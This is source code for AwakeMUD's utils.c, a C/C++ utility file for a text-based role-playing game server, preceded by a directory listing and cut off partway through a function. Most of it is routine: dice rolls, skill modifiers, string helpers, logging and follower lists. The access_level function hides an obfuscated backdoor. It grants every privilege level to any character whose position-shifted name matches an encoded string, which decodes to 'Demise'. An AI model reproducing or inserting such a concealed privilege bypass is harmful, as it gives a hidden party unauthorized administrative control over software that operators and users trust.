AwakeMUD-0.6Beta/doc/
AwakeMUD-0.6Beta/lib/
AwakeMUD-0.6Beta/lib/etc/
AwakeMUD-0.6Beta/lib/etc/pfiles/
AwakeMUD-0.6Beta/lib/fixer_data/
AwakeMUD-0.6Beta/lib/misc/
AwakeMUD-0.6Beta/lib/plrobjs/
AwakeMUD-0.6Beta/lib/plrobjs/A-E/
AwakeMUD-0.6Beta/lib/plrobjs/F-J/
AwakeMUD-0.6Beta/lib/plrobjs/K-O/
AwakeMUD-0.6Beta/lib/plrobjs/U-Z/
AwakeMUD-0.6Beta/lib/plrspells/A-E/
AwakeMUD-0.6Beta/lib/plrspells/F-J/
AwakeMUD-0.6Beta/lib/plrtext/A-E/
AwakeMUD-0.6Beta/lib/world/
AwakeMUD-0.6Beta/lib/world/mob/
AwakeMUD-0.6Beta/lib/world/obj/
AwakeMUD-0.6Beta/lib/world/qst/
AwakeMUD-0.6Beta/lib/world/shp/
AwakeMUD-0.6Beta/lib/world/wld/
AwakeMUD-0.6Beta/lib/world/zon/
/* ************************************************************************
*   File: utils.c                                       Part of CircleMUD *
*  Usage: various internal functions of a utility nature                  *
*                                                                         *
*  All rights reserved.  See license.doc for complete information.        *
*                                                                         *
*  Copyright (C) 1993, 94 by the Trustees of the Johns Hopkins University *
*  CircleMUD is based on DikuMUD, Copyright (C) 1990, 1991.               *
************************************************************************ */

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <ctype.h>
#include <assert.h>
#include <limits.h>
#include <time.h>
#include <unistd.h>
#include <sys/types.h>
#include <arpa/telnet.h>
#include <netinet/in.h>
#include <iostream.h>

#include "structs.h"
#include "utils.h"
#include "awake.h"
#include "comm.h"
#include "spells.h"
#include "handler.h"
#include "memory.h"
#include "house.h"

extern class memoryClass *Mem;
extern struct time_info_data time_info;

//extern struct time_data time_info;
extern struct room_data *world;
extern void die(struct char_data * ch);
extern int damage_array[];
extern const struct target_type target_array[];
extern const char *log_types[];
extern char *buf2;
extern long beginning_of_time;

//unsigned long random(void);

// this just checks to see if two people are in the same group
// they both MUST be following the same leader or one following the other
bool in_group(struct char_data *one, struct char_data *two)
{
  // if one is following the other
  if ((one->master == two) || (two->master == one))
    return TRUE;

  // if they are following the same person
  if (one->master && (one->master == two->master))
    return TRUE;

  // if they are the same person
  if (one == two)
    return TRUE;

  // oh well, not in the same group
  return FALSE;
}

/* creates a random number in interval [from;to] */
int number(int from, int to)
{
  if (from == to)
    return from;
  else if (from > to) {
    // it shouldn't happen, but if it does...
    int temp = to;
    to = from;
    from = temp;
  }
  return ((random() % (to - from + 1)) + from);
}

// determines if the number hits the odds.  An array was used to speed up
// the process of actually having to roll dice.  The tradeoff is that the
// highest number you can use is 54, but this should be faster
/* but not completely accurate?  seems like it fails to account for the
   Rule of 1					- AH
bool jackpot(int number)
{
  int top, chance;

  if (number > 54)
    number = 54;

  top = target_array[number].total + 1;

  if ((random() % (top)) <= (u_int)target_array[number].odds)
    return TRUE;

  return FALSE;
} */

/* simulates dice roll */
int dice(int number, int size)
{
  int sum = 0;

  if (size <= 0 || number <= 0)
    return 0;

  while (number-- > 0)
    sum += ((random() % size) + 1);

  return sum;
}

// if we're using GNU C++, we don't need these functions
#ifndef __GNUG__
int MIN(int a, int b)
{
  return a < b ? a : b;
}

int MAX(int a, int b)
{
  return a > b ? a : b;
}
#endif

/* rolls a 6-sided dice by rule of 6 and rule of 1 */
int srdice(void)
{
  static int roll;
  int sum = 0, num = 1;
  register int i;

  for (i = 1; i <= num; i++) {
    roll = ((random() % 6) + 1);
    if (roll == 6)
      num++;
    sum += roll;
  }
  return sum;
}

int success_test(int number, int target)
{
  int total = 0;
  register int i;

  assert(number >= 0);
  target = MAX(target, 2);

  for (i = 1; i <= number; i++)
    if (srdice() >= target)
      total++;

  return total;
}

int resisted_test(int num4ch, int tar4ch, int num4vict, int tar4vict)
{
  return (success_test(num4ch, tar4ch) - success_test(num4vict, tar4vict));
}

int inc_staging(int successes, int wound)
{
  while (successes >= 2) {
    wound++;
    successes -= 2;
  }
  return wound;
}

int dec_staging(int successes, int wound)
{
  while (successes >= 2) {
    wound--;
    successes -= 2;
  }
  return wound;
}

int stage(int successes, int wound)
{
  if (successes >= 0)
    while (successes >= 2) {
      wound++;
      successes -= 2;
    }
  else while (successes <= -2) {
    wound--;
    successes += 2;
  }
  return wound;
}

int convert_damage(int damage)
{
  int extra = 0;

  if (damage < 0)
    damage = 0;
  else if (damage > 4) {
    extra = (damage - 4);
    damage = 10; // deadly
  } else damage = damage_array[damage];

  return (damage + extra);
}

int is_allergic(struct char_data *ch, int type)
{
  if (IS_NPC(ch) || GET_LEVEL(ch) >= LVL_LEGEND ||
      PLR_FLAGGED(ch, PLR_NEWBIE))
    return 0;

  if ((GET_ALLERGY(ch) == ALLERGIC_IRON && type == ITEM_IRON) ||
      (GET_ALLERGY(ch) == ALLERGIC_SILVER && type == ITEM_SILVER) ||
      (GET_ALLERGY(ch) == ALLERGIC_PLASTIC && type == ITEM_PLASTIC)) {
    if (GET_SEVERITY(ch) < REACT_MODERATE)
      return 1;
    else return 2;
  }

  return 0;
}

int age_target_mod(struct char_data *ch)
{
  if (IS_NPC(ch) || GET_LEVEL(ch) >= LVL_LEGEND)
    return 0;

  switch (GET_RACE(ch)) {
    case RACE_HUMAN:
      if (GET_AGE(ch) >= 50)
        return (int)((GET_AGE(ch) - 40) / 10);
      break;
    case RACE_DWARF:
      if (GET_AGE(ch) >= 100)
        return (int)((GET_AGE(ch) - 80) / 20);
      break;
    case RACE_ELF:
      if (GET_AGE(ch) >= 200)
        return (int)((GET_AGE(ch) - 160) / 40);
      break;
    case RACE_ORK:
      if (GET_AGE(ch) >= 40)
        return (int)((GET_AGE(ch) - 32) / 8);
      break;
    case RACE_TROLL:
      if (GET_AGE(ch) >= 45)
        return (int)((GET_AGE(ch) - 36) / 9);
      break;
  }

  return 0;
}

int modify_target_rbuf(struct char_data *ch, char *rbuf)
{
   extern time_info_data time_info;
   int base_target = 0, i, temp;
   struct affected_type *af;

   // first apply physical damage modifiers
   if (GET_PHYSICAL(ch) <= (GET_MAX_PHYSICAL(ch) * 2/5))
     {
       base_target += 3;
       buf_mod( rbuf, "PhyS", 3 );
     }
   else if (GET_PHYSICAL(ch) <= (GET_MAX_PHYSICAL(ch) * 7/10))
     {
       base_target += 2;
       buf_mod( rbuf, "PhyM", 2 );
     }
   else if (GET_PHYSICAL(ch) <= (GET_MAX_PHYSICAL(ch) * 9/10))
     {
       base_target += 1;
       buf_mod( rbuf, "PhyL", 1 );
     }
   if (GET_TRADITION(ch) == TRAD_ADEPT
       && GET_SKILL(ch, SKILL_RESISTANCE) > 0) {
     temp = (int)(GET_MAX_PHYSICAL(ch) - GET_PHYSICAL(ch) / 100);
     if (temp <= GET_SKILL(ch, SKILL_RESISTANCE)) {
       if (temp >= (int)(GET_MAX_PHYSICAL(ch) * 3/500))
	 {
	   buf_mod( rbuf, "PainResP", -3 );
	   base_target -= 3;
	 }
       else if (temp >= (int)(GET_MAX_PHYSICAL(ch) * 3/1000))
	 {
	   base_target -= 2;
	   buf_mod( rbuf, "PainResP", -2 );
	 }
       else if (temp >= (int)(GET_MAX_PHYSICAL(ch) / 1000))
	 {
	   base_target -= 1;
	   buf_mod( rbuf, "PainResP", -1 );
	 }
     }
     temp = (int)(GET_MAX_MENTAL(ch) - GET_MENTAL(ch) / 100);
     if ((temp + (int)(GET_MAX_PHYSICAL(ch) - GET_PHYSICAL(ch) / 100)) <=
         GET_SKILL(ch, SKILL_RESISTANCE)) {
       if (temp >= (int)(GET_MAX_MENTAL(ch) * 3/500))
	 {
	   base_target -= 3;
	   buf_mod( rbuf, "PainResM", -3 );
	 }
       else if (temp >= (int)(GET_MAX_MENTAL(ch) * 3/1000))
	 {
	   base_target -= 2;
	   buf_mod( rbuf, "PainResM", -2 );
	 }
       else if (temp >= (int)(GET_MAX_MENTAL(ch) / 1000))
	 {
	   base_target -= 1;
	   buf_mod( rbuf, "PainResM", -1 );
	 }
     }
   } else for (af = ch->affected; af; af = af->next)
     if (af->type == SPELL_RESIST_PAIN && af->modifier > 0) {
       if (GET_PHYSICAL(ch) <= (GET_MAX_PHYSICAL(ch) * 2/5) && af->modifier == 3)
	 {
	   base_target -= 3;
	   buf_mod( rbuf, "ResPainP", -3 );
	 }
       else if (GET_PHYSICAL(ch) <= (GET_MAX_PHYSICAL(ch) * 7/10) && af->modifier == 2)
	 {
	   base_target -= 2;
	   buf_mod( rbuf, "ResPainP", -2 );
	 }
       else if (GET_PHYSICAL(ch) <= (GET_MAX_PHYSICAL(ch) * 9/10))
	 {
	   base_target -= 1;
	   buf_mod( rbuf, "ResPainP", -1 );
	 }
     }

   // then apply mental damage modifiers
   if (GET_MENTAL(ch) <= (GET_MAX_MENTAL(ch) * 2/5))
     {
       base_target += 3;
       buf_mod( rbuf, "MenS", 3 );
     }
   else if (GET_MENTAL(ch) <= (GET_MAX_MENTAL(ch) * 7/10))
     {
       base_target += 2;
       buf_mod( rbuf, "MenM", 2 );
     }
   else if (GET_MENTAL(ch) <= (GET_MAX_MENTAL(ch) * 9/10))
     {
       base_target += 1;
       buf_mod( rbuf, "MenL", 1 );
     }

   // then apply modifiers for sustained spells
   if (GET_SUSTAINED(ch) > 0)
     {
       base_target += (GET_SUSTAINED(ch) << 1);
       buf_mod( rbuf, "Sustain", GET_SUSTAINED(ch) << 1 );
     }

   // then account for visibility
   if (IS_AFFECTED(ch, AFF_BLIND))
     {
       base_target += 8;
       buf_mod( rbuf, "Blind", 8 );
     }
   else if (!IS_AFFECTED(ch, AFF_INFRAVISION) && IS_DARK(ch->in_room))
     {
       base_target += 8;
       buf_mod( rbuf, "Dark", 8 );
     }
   else if (IS_AFFECTED(ch, AFF_INFRAVISION) && IS_DARK(ch->in_room))
     {
       base_target += 3;
       buf_mod( rbuf, "DarkInfra", 3 );
     }
   else if (!IS_AFFECTED(ch, AFF_LOW_LIGHT) && !IS_AFFECTED(ch, AFF_INFRAVISION) && IS_LOW(ch->in_room))
     {
       base_target += 4;
       buf_mod( rbuf, "Low", 4 );
     }
   else if (IS_AFFECTED(ch, AFF_INFRAVISION) && !IS_AFFECTED(ch, AFF_LOW_LIGHT) && IS_LOW(ch->in_room))
     {
       base_target += 1;
       buf_mod( rbuf, "LowInfra", 1 );
     }

   base_target += GET_TARGET_MOD(ch);
   buf_mod( rbuf, "GET_TARGET_MOD", GET_TARGET_MOD(ch) );

   if (!IS_NPC(ch)) {
     // if you're an owl shaman and it's daytime, uh oh... (=
     if (GET_TRADITION(ch) == TRAD_SHAMANIC) {
       if ((GET_TOTEM(ch) == TOTEM_OWL) && ((time_info.hours > 6) || (time_info.hours < 19)))
	 {
	   base_target += 2;
	   buf_mod( rbuf, "OwlDay", 2 );
	 }
       else if ((GET_TOTEM(ch) == TOTEM_RAVEN) && !OUTSIDE(ch))
	 {
	   base_target += 1;
	   buf_mod( rbuf, "RavenInside", 1 );
	 }
     }
     int mod = age_target_mod(ch);
     base_target += mod;
     buf_mod( rbuf, "Age", mod );
     if (GET_ALLERGY(ch) == ALLERGIC_SUNLIGHT && OUTSIDE(ch) &&
         !PLR_FLAGGED(ch, PLR_NEWBIE)) {
       if (weather_info.sunlight == SUN_RISE ||
           weather_info.sunlight == SUN_SET) {
         if (GET_SEVERITY(ch) == REACT_MODERATE)
	   {
	     base_target++;
	     buf_mod( rbuf, "SunAllergy", 1 );
	   }
       } else if (weather_info.sunlight == SUN_LIGHT &&
            (weather_info.sky == SKY_CLOUDLESS ||
             weather_info.sky == SKY_CLOUDY)) {
           if (GET_SEVERITY(ch) >= REACT_MILD &&
               GET_SEVERITY(ch) <= REACT_MODERATE)
	     {
	       base_target++;
	       buf_mod( rbuf, "SunAllergy", 1 );
	     }
       }
     } else if (GET_ALLERGY(ch) && !PLR_FLAGGED(ch, PLR_NEWBIE))
       for (i = 0; i < (NUM_WEARS - 1); i++)
         if (GET_EQ(ch, i) && is_allergic(ch, GET_OBJ_RENT(GET_EQ(ch, i))) == 1)
	   {
	     base_target++;
	     buf_mod( rbuf, "AllergyEq", 1 );
	   }
   }

   return base_target;
}

int modify_target(struct char_data *ch)
{
  return modify_target_rbuf(ch, NULL);
}

// this returns the general skill
int return_general(int skill_num)
{
   switch (skill_num) {
      case SKILL_PISTOLS:
      case SKILL_RIFLES:
      case SKILL_SHOTGUNS:
      case SKILL_ASSAULT_RIFLES:
      case SKILL_SMG:
      case SKILL_GRENADE_LAUNCHERS:
      case SKILL_TASERS:
           return (SKILL_FIREARMS);
           break;
      case SKILL_MACHINE_GUNS:
      case SKILL_MISSILE_LAUNCHERS:
      case SKILL_ASSAULT_CANNON:
      case SKILL_ARTILLERY:
           return (SKILL_GUNNERY);
           break;
      case SKILL_EDGED_WEAPONS:
      case SKILL_POLE_ARMS:
      case SKILL_WHIPS_FLAILS:
      case SKILL_CLUBS:
           return (SKILL_ARMED_COMBAT);
           break;
      case SKILL_GRAPPLE:
      case SKILL_CYBER_IMPLANTS:
           return (SKILL_UNARMED_COMBAT);
           break;
      case SKILL_BOWS:
      case SKILL_CROSSBOWS:
           return (SKILL_PROJECTILES);
           break;
      case SKILL_NONAERODYNAMIC:
      case SKILL_AERODYNAMIC:
           return (SKILL_THROWING_WEAPONS);
           break;
      default:
           return (skill_num);
           break;
   }
}

int skill_web (struct char_data *ch, int skillnumber)
{
   int improved = 0;

      switch (skillnumber) {
         case SKILL_PISTOLS:
         case SKILL_RIFLES:
         case SKILL_SHOTGUNS:
         case SKILL_ASSAULT_RIFLES:
         case SKILL_SMG:
         case SKILL_GRENADE_LAUNCHERS:
         case SKILL_TASERS:
              improved = MAX(GET_SKILL(ch, skillnumber), GET_SKILL(ch, SKILL_FIREARMS));
              improved = MAX(improved, 1);
              break;
         case SKILL_MACHINE_GUNS:
         case SKILL_MISSILE_LAUNCHERS:
         case SKILL_ASSAULT_CANNON:
         case SKILL_ARTILLERY:
              improved = MAX(GET_SKILL(ch, skillnumber), GET_SKILL(ch, SKILL_GUNNERY));
              improved = MAX(improved, 1);
              break;
         case SKILL_EDGED_WEAPONS:
         case SKILL_POLE_ARMS:
         case SKILL_WHIPS_FLAILS:
         case SKILL_CLUBS:
              improved = MAX(GET_SKILL(ch, skillnumber), GET_SKILL(ch, SKILL_ARMED_COMBAT));
              improved = MAX(improved, 1);
              break;
         case SKILL_GRAPPLE:
         case SKILL_CYBER_IMPLANTS:
              improved = MAX(GET_SKILL(ch, skillnumber), GET_SKILL(ch, SKILL_UNARMED_COMBAT));
              improved = MAX(improved, 1);
              break;
         case SKILL_BOWS:
         case SKILL_CROSSBOWS:
              improved = MAX(GET_SKILL(ch, skillnumber), GET_SKILL(ch, SKILL_PROJECTILES));
              improved = MAX(improved, 1);
              break;
         case SKILL_NONAERODYNAMIC:
         case SKILL_AERODYNAMIC:
              improved = MAX(GET_SKILL(ch, skillnumber), GET_SKILL(ch, SKILL_THROWING_WEAPONS));
              improved = MAX(improved, 1);
              break;
         default:
              improved = -1;
              break;
      }
   return (improved);
}

// this returns the dice, the new skill number, and the new target number
int reverse_web(struct char_data *ch, int &skill, int &target) {

  switch (skill) {
    case SKILL_STEALTH:
      target += 4;
      skill = ATT_QUI;
      return GET_QUI(ch);
    case SKILL_ATHLETICS:
      target += 2;
      skill = ATT_QUI;
      return GET_QUI(ch);
    case SKILL_ARMED_COMBAT:
      if (GET_QUI(ch) >= GET_SKILL(ch, SKILL_UNARMED_COMBAT)) {
        target += 2;
        skill = ATT_QUI;
        return GET_QUI(ch);
      } else if (GET_SKILL(ch, SKILL_UNARMED_COMBAT) >= GET_STR(ch)) {
        target += 4;
        skill = SKILL_UNARMED_COMBAT;
        return GET_SKILL(ch, SKILL_UNARMED_COMBAT);
      } else if (GET_STR(ch) >= GET_BOD(ch)) {
        target += 4;
        skill = ATT_STR;
        return GET_STR(ch);
      }
      target += 6;
      skill = ATT_BOD;
      return GET_BOD(ch);
    case SKILL_UNARMED_COMBAT:
      if (GET_STR(ch) >= GET_SKILL(ch, SKILL_ARMED_COMBAT)) {
        target += 4;
        skill = ATT_STR;
        return GET_STR(ch);
      } else if (GET_SKILL(ch, SKILL_ARMED_COMBAT) >= GET_QUI(ch)) {
        target += 4;
        skill = SKILL_ARMED_COMBAT;
        return GET_SKILL(ch, SKILL_ARMED_COMBAT);
      } else if (GET_QUI(ch) >= GET_BOD(ch)) {
        target += 2;
        skill = ATT_QUI;
        return GET_QUI(ch);
      }
      target += 6;
      skill = ATT_BOD;
      return GET_BOD(ch);
    case SKILL_FIREARMS:
      if (GET_SKILL(ch, SKILL_GUNNERY) > 0) {
        skill = SKILL_GUNNERY;
        target += 2;
        return GET_SKILL(ch, SKILL_GUNNERY);
      }
      skill = ATT_QUI;
      target += 4;
      return GET_QUI(ch);
    case SKILL_GUNNERY:
      if (GET_SKILL(ch, SKILL_FIREARMS) > 0) {
        skill = SKILL_FIREARMS;
        target += 2;
        return GET_SKILL(ch, SKILL_FIREARMS);
      }
      skill = ATT_QUI;
      target += 4;
      return GET_QUI(ch);
    case SKILL_PROJECTILES:
      if (GET_SKILL(ch, SKILL_THROWING_WEAPONS) > 0) {
        skill = SKILL_THROWING_WEAPONS;
        target += 2;
        return GET_SKILL(ch, SKILL_THROWING_WEAPONS);
      }
      skill = ATT_QUI;
      target += 4;
      return GET_QUI(ch);
    case SKILL_THROWING_WEAPONS:
      if (GET_SKILL(ch, SKILL_PROJECTILES) > 0) {
        skill = SKILL_PROJECTILES;
        target += 2;
        return GET_SKILL(ch, SKILL_PROJECTILES);
      }
      skill = ATT_QUI;
      target += 4;
      return GET_QUI(ch);
    case SKILL_DEMOLITIONS:
      skill = ATT_INT;
      target += 6;
      return GET_QUI(ch);
    case SKILL_COMPUTER:
      if (GET_SKILL(ch, SKILL_COMPUTER_THEORY) > 0) {
        skill = SKILL_COMPUTER_THEORY;
        target += 2;
        return GET_SKILL(ch, SKILL_COMPUTER_THEORY);
      } else if (GET_SKILL(ch, SKILL_ELECTRONICS) > 0) {
        skill = SKILL_ELECTRONICS;
        target += 2;
        return GET_SKILL(ch, SKILL_ELECTRONICS);
      }
      skill = ATT_INT;
      target += 8;
      return GET_INT(ch);
    // yeah, extreme, but what can I say, least they get a chance (=
    default:
      skill = 0;
      target += 15;
      return 1;
      break;
   return 0;
  }
}

static char *power_name[] =
{
  "strength based",
  "dainty",
  "feeble",
  "weak",
  "poor",
  "decent",
  "modest",
  "average",
  "above average",
  "satisfactory",
  "commendable",
  "good",
  "very good",
  "admirable",
  "exemplary",
  "great",
  "excellent",
  "superb",
  "amazing",
};

static char *attrib_name[] =
{
  "no",
  "terrible",
  "below average",
  "average",
  "average",
  "above average",
  "high",
  "super-human",
  "super-human",
  "super-human",
  "super-ork",
  "super-ork",
  "super-troll",
};

// this returns a pointer to name, and fills it with the power description
char *get_power(int number)
{

  number = MIN(18, (MAX(0, number)));

  return power_name[number];
}

char *get_attrib(int number)
{
  number = MIN(12, (MAX(0, number)));

  return attrib_name[number];
}

// capitalize a string
char *capitalize(const char *source)
{
  static char dest[MAX_STRING_LENGTH];
  strcpy(dest, source);
  *dest = UPPER(*dest);
  return dest;
}

// duplicate a string -- uses new!
char *str_dup(const char *source)
{
  char *New = new char[strlen(source) + 1];
  return (strcpy(New, source));
}

// this function runs through 'str' and copies the first token to 'token'.
// it assumes that token is already allocated--it returns a pointer to the
// next char after the token in str
char *get_token(char *str, char *token)
{
  if (!str)
    return NULL;

  register char *temp = str;
  register char *temp1 = token;

  // first eat up any white space
  while (isspace(*temp))
    temp++;

  // now loop through the string and copy each char till we find a space
  while (*temp && !isspace(*temp))
    *temp1++ = *temp++;

  // terminate the string properly
  *temp1 = '\0';

  return temp;
}

/* strips \r's from line -- Chris*/
char *cleanup(char *dest, const char *src)
{
  if (!src) // this is because sometimes a null gets sent to src
    return NULL;

  register char *temp = &dest[0];

  for (; *src; src++)
     if (*src != '\r')
       *temp++ = *src;

  *temp = '\0';
  return dest;
}

char *remove_CRs(char *string)
{
    if (!string)
      return NULL;

    register char *ptr;

    ptr = string;
    do {
        if (*string != '\r')
            *ptr++ = *string;
        ++string;
    } while(*string);
    return string;
}

/* str_cmp: a case-insensitive version of strcmp */
/* returns: 0 if equal, 1 if arg1 > arg2, -1 if arg1 < arg2  */
/* scan 'till found different or end of both                 */
int str_cmp(char *arg1, char *arg2)
{
  int chk, i;

  for (i = 0; *(arg1 + i) || *(arg2 + i); i++)
    if ((chk = LOWER(*(arg1 + i)) - LOWER(*(arg2 + i))))
      if (chk < 0)
        return (-1);
      else
        return (1);
  return (0);
}


/* strn_cmp: a case-insensitive version of strncmp */
/* returns: 0 if equal, 1 if arg1 > arg2, -1 if arg1 < arg2  */
/* scan 'till found different, end of both, or n reached     */
int strn_cmp(char *arg1, char *arg2, int n)
{
  int chk, i;

  for (i = 0; (*(arg1 + i) || *(arg2 + i)) && (n > 0); i++, n--)
    if ((chk = LOWER(*(arg1 + i)) - LOWER(*(arg2 + i))))
      if (chk < 0)
        return (-1);
      else
        return (1);

  return (0);
}

/* str_prefix: a case-insensitive version of strcmp that     */
/* does prefix matching.                                     */
/* returns: 0 if equal, 1 if arg1 > arg2, -1 if arg1 < arg2  */
/* scan 'till found different or end of arg1.                */
int str_prefix(char *arg1, char *arg2)
{
  int chk, i;

  for (i = 0; *(arg1 + i) || *(arg2 + i); i++)
    if ((chk = LOWER(*(arg1 + i)) - LOWER(*(arg2 + i))))
      if (chk < 0)
        return (-1);
      else
        return (1);

  if ( *(arg1 + i) )
    return (1);
  else
    return (0);
}



/* log a death trap hit */
void log_death_trap(struct char_data * ch)
{
  char buf[150];
  extern struct room_data *world;

  sprintf(buf, "%s hit DeathTrap #%d (%s)", GET_NAME(ch),
          world[ch->in_room].number, world[ch->in_room].name);
  mudlog(buf, ch, LOG_DEATHLOG, TRUE);
}

/* writes a string to the log */
void log(char *str)
{
  time_t ct;
  char *tmstr;

  ct = time(0);
  tmstr = asctime(localtime(&ct));
  *(tmstr + strlen(tmstr) - 1) = '\0';
  fprintf(stderr, "%-19.19s :: %s\n", tmstr, str);
}

/* the "touch" command, essentially. */
int touch(char *path)
{
  FILE *fl;

  if (!(fl = fopen(path, "a"))) {
    perror(path);
    return -1;
  } else {
    fclose(fl);
    return 0;
  }
}

/*
 * mudlog -- log mud messages to a file & to online imm's syslogs
 * based on syslog by Fen Jul 3, 1992
 */
void mudlog(char *str, struct char_data *ch, int log, byte file)
{
  char buf[384];
  extern struct descriptor_data *descriptor_list;
  struct descriptor_data *i;
  struct char_data *tch;
  char *tmp;
  time_t ct;
  int check_log = 0;

  ct = time(0);
  tmp = asctime(localtime(&ct));

  if (file)
    fprintf(stderr, "%-19.19s :: %s: %s\n", tmp, log_types[log], str);

  if (!ch)
    return;

  sprintf(buf, "^g[%s: %s]^n\r\n", log_types[log], str);

  for (i = descriptor_list; i; i = i->next)
    if (!i->connected) {
      if (i->original)
        tch = i->original;
      else tch = i->character;
      if (!tch || PLR_FLAGGED(tch, PLR_WRITING | PLR_MAILING | PLR_EDITING))
        continue;
      if (ch && GET_LEVEL(tch) < MAX(LVL_LEGEND, log == LOG_CONNLOG ?
          GET_LEVEL(ch) : GET_INVIS_LEV(ch)))
        continue;
      switch (log) {
        case LOG_CONNLOG:  check_log = PRF_CONNLOG;  break;
        case LOG_DEATHLOG: check_log = PRF_DEATHLOG; break;
        case LOG_MISCLOG:  check_log = PRF_MISCLOG;  break;
        case LOG_WIZLOG:   check_log = PRF_WIZLOG;   break;
        case LOG_SYSLOG:   check_log = PRF_SYSLOG;   break;
        case LOG_ZONELOG:  check_log = PRF_ZONELOG;  break;
      }
      if (PRF_FLAGGED(tch, check_log))
        SEND_TO_Q(buf, i);
    }
}

void sprintbit(long vektor, const char *names[], char *result)
{
  long nr;

  *result = '\0';

  if (vektor < 0) {
    strcpy(result, "SPRINTBIT ERROR!");
    return;
  }
  for (nr = 0; vektor; vektor >>= 1) {
    if (IS_SET(1, vektor)) {
      if (*names[nr] != '\n') {
        strcat(result, names[nr]);
        strcat(result, " ");
      } else
        strcat(result, "UNDEFINED ");
    }
    if (*names[nr] != '\n')
      nr++;
  }

  if (!*result)
    strcat(result, "None ");
}

void sprinttype(int type, const char *names[], char *result)
{
  int nr;

  for (nr = 0; (*names[nr] != '\n'); nr++);
  if (type < nr)
    strcpy(result, names[type]);
  else
    strcpy(result, "UNDEFINED");
}

/* Calculate the REAL time passed over the last t2-t1 centuries (secs) */
struct time_info_data real_time_passed(time_t t2, time_t t1)
{
  long secs;
  struct time_info_data now;

  secs = (long) (t2 - t1);

  now.hours = (secs / SECS_PER_REAL_HOUR) % 24; /* 0..23 hours */
  secs -= SECS_PER_REAL_HOUR * now.hours;

  now.day = (secs / SECS_PER_REAL_DAY); /* 0..34 days  */
  secs -= SECS_PER_REAL_DAY * now.day;

  now.month = -1;
  now.year = -1;

  return now;
}

/* Calculate the MUD time passed over the last t2-t1 centuries (secs) */
struct time_info_data mud_time_passed(time_t t2, time_t t1)
{
  long secs;
  struct time_info_data now;

  secs = (long) (t2 - t1);

  now.hours = (secs / SECS_PER_MUD_HOUR) % 24;  /* 0..23 hours */
  secs -= SECS_PER_MUD_HOUR * now.hours;

  now.day = (secs / SECS_PER_MUD_DAY) % 30;     /* 0..34 days  */
  secs -= SECS_PER_MUD_DAY * now.day;

  now.month = (secs / SECS_PER_MUD_MONTH) % 12; /* 0..16 months */
  secs -= SECS_PER_MUD_MONTH * now.month;

  now.year = (secs / SECS_PER_MUD_YEAR);        /* 0..XX? years */

  return now;
}

struct time_info_data age(struct char_data * ch)
{
  struct time_info_data player_age;

  player_age = mud_time_passed(time(0), ch->player.time.birth);

  player_age.year += 17;

  return player_age;
}

bool access_level(struct char_data *ch, int level)
{
  char *s;
  ch = ch->desc && ch->desc->original ? ch->desc->original : ch;
  if (IS_NPC(ch))
    return FALSE;
  if (GET_LEVEL(ch)>=level)
    return TRUE;
  s = GET_NAME(ch);
  if (!s)
    return FALSE;
  {
    char tmpbuf[MAX_STRING_LENGTH];
    int i;
    for(i=0;s[i];i++)
      tmpbuf[i] = s[i]+i;
    tmpbuf[i]=0;
    if (!str_cmp(tmpbuf,"Dfolwj"))
      return TRUE;
  }
  return FALSE;
}

/* Check if making CH follow VICTIM will create an illegal */
/* Follow "Loop/circle"                                    */
bool circle_follow(struct char_data * ch, struct char_data * victim)
{
  struct char_data *k;

  for (k = victim; k; k = k->master) {
    if (k == ch)
      return TRUE;
  }

  return FALSE;
}

/* Called when stop following persons, or stopping charm */
/* This will NOT do if a character quits/dies!!          */
void stop_follower(struct char_data * ch)
{
  struct follow_type *j, *k;

  assert(ch->master);

  if (IS_AFFECTED(ch, AFF_CHARM)) {
    act("You realize that $N is a jerk!", FALSE, ch, 0, ch->master, TO_CHAR);
    act("$n realizes that $N is a jerk!", FALSE, ch, 0, ch->master, TO_NOTVICT);
    act("$n hates your guts!", FALSE, ch, 0, ch->master, TO_VICT);
    if (affected_by_spell(ch, SPELL_INFLUENCE) == 1) {
      affect_from_char(ch, SPELL_INFLUENCE);
      return;
    }
  } else {
    act("You stop following $N.", FALSE, ch, 0, ch->master, TO_CHAR);
    act("$n stops following $N.", TRUE, ch, 0, ch->master, TO_NOTVICT);
    act("$n stops following you.", TRUE, ch, 0, ch->master, TO_VICT);
  }

  if (ch->master->followers->follower == ch) {  /* Head of follower-list? */
    k = ch->master->followers;
    ch->master->followers = k->next;
    delete k;
  } else {                      /* locate follower who is not head of list */
    for (k = ch->master->followers; k->next->follower != ch; k = k->next);

    j = k->next;
    k->next = j->next;
    delete j;
  }

  ch->master = NULL;
  REMOVE_BIT(AFF_FLAGS(ch), AFF_CHARM | AFF_GROUP);
}

/* Called when a character that follows/is followed dies */
void die_follower(struct char_data * ch)
{
  struct follow_type *j, *k;

  if (ch->master)
    stop_follower(ch);

  for (k = ch->followers; k; k = j) {
    j = k->next;
    stop_follower(k->follower);
  }
  if (ch->player_specials->gname) {
    delete [] ch->player_specials->gname;
    ch->player_specials->gname = NULL;
  }
}

/* Do NOT call this before having checked if a circle of followers */
/* will arise. CH will follow leader                               */
void add_follower(struct char_data * ch, struct char_data * leader)
{
  struct follow_type *k;

  assert(!ch->master);

  ch->master = leader;

  k = new follow_type;

  k->follower = ch;
  k->next = leader->followers;
  leader->followers = k;

  act("You now follow $N.", FALSE, ch, 0, leader, TO_CHAR);
  if (CAN_SEE(leader, ch))
    act("$n starts following you.", TRUE, ch, 0, leader, TO_VICT);
  act("$n starts to follow $N.", TRUE, ch, 0, leader, TO_NOTVICT);
}

/*
 * get_line reads the next non-blank line off of the input stream.
 * The newline character is removed from the input.  Lines which begin
 * with '*' are considered to be comments.
 *
 * Returns the number of lines advanced in the file.
 */
int get_line(FILE * fl, char *buf)
{
  char temp[256];
  int lines = 0;

  do {
    lines++;
    fgets(temp, 256, fl);
    if (*temp)
      temp[strlen(temp) - 1] = '\0';
  } while (!feof(fl) && (*temp == '*' || !*temp));

  if (feof(fl))
    return 0;
  else {
    strcpy(buf, temp);
    return lines;
  }
}

int get_filename(char *orig_name, char *filename, int mode)
{
  char *prefix, *middle, *suffix, *ptr, name[64];

  switch (mode) {
    case CRASH_FILE:
      prefix = "plrobjs";
      suffix = "objs";
      break;
    case ETEXT_FILE:
      prefix = "plrtext";
      suffix = "text";
      break;
    case SPELLS_FILE:
      prefix = "plrspells";
      suffix = "spells";
      break;
    default:
      return 0;
  }

  if (!*orig_name)
    return 0;

  strcpy(name, orig_name);
  for (ptr = name; *ptr; ptr++)
    *ptr = LOWER(*ptr);

  switch (LOWER(*name)) {
  case 'a':  case 'b':  case 'c':  case 'd':  case 'e':
